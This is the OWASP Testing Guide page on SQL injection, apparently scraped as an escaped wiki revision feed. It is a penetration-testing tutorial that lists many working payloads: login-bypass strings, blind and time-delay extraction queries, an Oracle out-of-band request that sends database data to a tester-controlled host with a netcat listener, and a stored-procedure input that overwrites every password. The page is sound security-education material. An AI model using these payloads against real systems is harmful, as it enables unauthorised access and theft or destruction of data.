That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210711</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210711"/>
				<updated>2016-03-09T03:08:24Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Out of band Exploitation technique */  - wrap example in code block&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
